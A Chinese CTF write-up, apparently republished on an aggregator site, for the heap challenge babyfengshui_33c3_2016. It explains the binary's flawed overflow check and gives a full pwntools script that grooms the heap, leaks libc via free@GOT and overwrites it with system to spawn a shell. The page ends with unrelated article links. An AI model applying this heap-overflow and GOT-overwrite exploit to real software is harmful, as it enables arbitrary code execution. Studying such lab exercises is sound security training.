【buu】babyfengshui_33c3_2016(详细题解)

2024-01-16 11:59

本文主要是介绍【buu】babyfengshui_33c3_2016(详细题解),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 前言
  • 题解
  • 完整脚本
  • 总结

前言

这应该是到目前为止理解的最透彻的堆题了

题解

在这里插入图片描述
32位的程序,开了 Canary, Nx 保护
先放进IDA看看
在这里插入图片描述
又是个堆题,常规流程

先看 add 函数
首先申请了descriptionchunk ,接着又申请了一个0x80大小的 chunk
然后将 descriptionchunk 指针 放到第二个 chunk 中,
接着是一个指针数组 *(&ptr + byte_804b069) 存放第二个 chunk
接着是调用 get_name 函数输入 name
读入 124 字节到第二个 chunk 偏移为 4 的地方

在这里插入图片描述
get_name 函数对输入的 name 进行查找,如果里面有 10,则 将第二个 chunk 中存放 description chunk的指针置0
然后是 update 函数
在这里插入图片描述
首先是读入要修改的 description 长度,然后是一个 if 判断
如果 修改的长度 v3 + 指向description的指针 >= 指向name数组的指针 则返回失败
很显然这是一个防止堆溢出的判断
但是这种判断只基于 description 的堆块与 name 堆块地址相邻,所以可以利用堆的分配机制让这两个堆块分开,使其他的 chunk 分布在这两个堆块之间

delete函数先 free 了第二个 chunk 指向的 chunk 也就是第一个chunk
然后再 free 第二个chunk
接着把第二个 chunk 的指针置0,但是 descriptionchunk 指针没有置0

在这里插入图片描述
show函数显示数据
先打印出第二个 chunk 输入的 name 内容
然后打印出第一个 description chunk 里面的内容

先申请三个堆块,大小都是0x80

add(0x80,'nam1',0x80,'aaaa')
add(0x80,'nam2',0x80,'bbbb')
add(0x80,'nam3',0x80,'/bin/sh\x00')

在这里插入图片描述
生成了六个堆块
在这里插入图片描述
在这里可以看到堆块的结构,对快的先后顺序是 descriptino chunk0 ,name chunk0
现在释放我们申请的第一个堆块,description chunk0,和 name chunk 0,会合并为一个堆块
在这里插入图片描述
在这里插入图片描述
再申请一个新的 chunk0,大小为 0x100,系统后面自动申请 name chunk0的时候,unsortbin 里面的空闲堆块已经不满足要求,就要重新分配,而重新分配的 chunk0_name 则位于堆块尾部
在这里插入图片描述
在这里插入图片描述
查看最后一个堆块可以看到 chunk0_name 中存有 第一个堆块 chunk0_text 的地址
现在利用堆溢出到第一个堆块的 name chunk上,泄露 free 函数的地址,然后算出libc基址就可以得到system函数的地址了

payload = b'a'*0x108 + b'a'*0x08 + b'a'*0x80 + b'a'*0x08 + p32(free_got)
update(3,0x200,payload)

在这里插入图片描述
之前往第三个 chunk 里面写进了 /bin/sh\x00,现在只要把 free_got 替换为 system的地址,当我们在 free 掉第三个 chunk 的时候就会执行 system(‘/bin/sh’),获取shell

完整脚本

from pwn import*
context.log_level  = "debug"
elf = ELF('./pwn')
libc = ELF('./buulibc/libc-2.23.i386.so')
#io = remote('node4.buuoj.cn',26247)
io = process('./pwn')def add(size,name,length,text):io.recvuntil(b'Action: ')io.sendline(b'0')io.recvuntil(b'size of description: ')io.sendline(str(size))io.recvuntil(b'name: ')io.sendline(name)io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)
def delete(id):io.recvuntil(b'Action: ')io.sendline(b'1')io.recvuntil(b'index: ')io.sendline(str(id))
def show(id):io.recvuntil(b'Action: ')io.sendline(b'2')io.recvuntil(b'index: ')io.sendline(str(id))
def update(id,length,text):io.recvuntil(b'Action: ')io.sendline(b'3')io.recvuntil(b'index: ')io.sendline(str(id))io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)add(0x80,b'nam1',0x80,b'aaaa')
add(0x80,b'nam2',0x80,b'bbbb')
add(0x80,b'nam3',0x80,b'/bin/sh\x00')
delete(0)
add(0x100,b'name1',0x100,b'cccc') //申请新的 chunk id3
free_got = elf.got['free'] 
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
update(3,0x200,payload) //在 name thunk1 里面写入 free_got 地址
show(1) //输出地址
io.recvuntil(b'description: ')
free_addr = u32(io.recv(4)) //接收free_got的地址
libc_base = free_addr - libc.sym['free'] //计算libc基址
system = libc_base + libc.sym['system'] //算出system地址
print(hex(system))update(1,0x80,p32(system)) // 写入system地址
delete(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

我是菜鸡!

这篇关于【buu】babyfengshui_33c3_2016(详细题解)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612533

相关文章

如何在Mac上安装并配置JDK环境变量详细步骤

《如何在Mac上安装并配置JDK环境变量详细步骤》:本文主要介绍如何在Mac上安装并配置JDK环境变量详细步骤,包括下载JDK、安装JDK、配置环境变量、验证JDK配置以及可选地设置PowerSh... 目录步骤 1:下载JDK步骤 2:安装JDK步骤 3:配置环境变量1. 编辑~/.zshrc(对于zsh

使用Node.js制作图片上传服务的详细教程

《使用Node.js制作图片上传服务的详细教程》在现代Web应用开发中,图片上传是一项常见且重要的功能,借助Node.js强大的生态系统,我们可以轻松搭建高效的图片上传服务,本文将深入探讨如何使用No... 目录准备工作搭建 Express 服务器配置 multer 进行图片上传处理图片上传请求完整代码示例

C++ vector的常见用法超详细讲解

《C++vector的常见用法超详细讲解》:本文主要介绍C++vector的常见用法,包括C++中vector容器的定义、初始化方法、访问元素、常用函数及其时间复杂度,通过代码介绍的非常详细,... 目录1、vector的定义2、vector常用初始化方法1、使编程用花括号直接赋值2、使用圆括号赋值3、ve

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.

Nginx中配置HTTP/2协议的详细指南

《Nginx中配置HTTP/2协议的详细指南》HTTP/2是HTTP协议的下一代版本,旨在提高性能、减少延迟并优化现代网络环境中的通信效率,本文将为大家介绍Nginx配置HTTP/2协议想详细步骤,需... 目录一、HTTP/2 协议概述1.HTTP/22. HTTP/2 的核心特性3. HTTP/2 的优

Java图片压缩三种高效压缩方案详细解析

《Java图片压缩三种高效压缩方案详细解析》图片压缩通常涉及减少图片的尺寸缩放、调整图片的质量(针对JPEG、PNG等)、使用特定的算法来减少图片的数据量等,:本文主要介绍Java图片压缩三种高效... 目录一、基于OpenCV的智能尺寸压缩技术亮点:适用场景:二、JPEG质量参数压缩关键技术:压缩效果对比

Java调用C++动态库超详细步骤讲解(附源码)

《Java调用C++动态库超详细步骤讲解(附源码)》C语言因其高效和接近硬件的特性,时常会被用在性能要求较高或者需要直接操作硬件的场合,:本文主要介绍Java调用C++动态库的相关资料,文中通过代... 目录一、直接调用C++库第一步:动态库生成(vs2017+qt5.12.10)第二步:Java调用C++

Python基础文件操作方法超详细讲解(详解版)

《Python基础文件操作方法超详细讲解(详解版)》文件就是操作系统为用户或应用程序提供的一个读写硬盘的虚拟单位,文件的核心操作就是读和写,:本文主要介绍Python基础文件操作方法超详细讲解的相... 目录一、文件操作1. 文件打开与关闭1.1 打开文件1.2 关闭文件2. 访问模式及说明二、文件读写1.

Ubuntu中远程连接Mysql数据库的详细图文教程

《Ubuntu中远程连接Mysql数据库的详细图文教程》Ubuntu是一个以桌面应用为主的Linux发行版操作系统,这篇文章主要为大家详细介绍了Ubuntu中远程连接Mysql数据库的详细图文教程,有... 目录1、版本2、检查有没有mysql2.1 查询是否安装了Mysql包2.2 查看Mysql版本2.

Oracle数据库常见字段类型大全以及超详细解析

《Oracle数据库常见字段类型大全以及超详细解析》在Oracle数据库中查询特定表的字段个数通常需要使用SQL语句来完成,:本文主要介绍Oracle数据库常见字段类型大全以及超详细解析,文中通过... 目录前言一、字符类型(Character)1、CHAR:定长字符数据类型2、VARCHAR2:变长字符数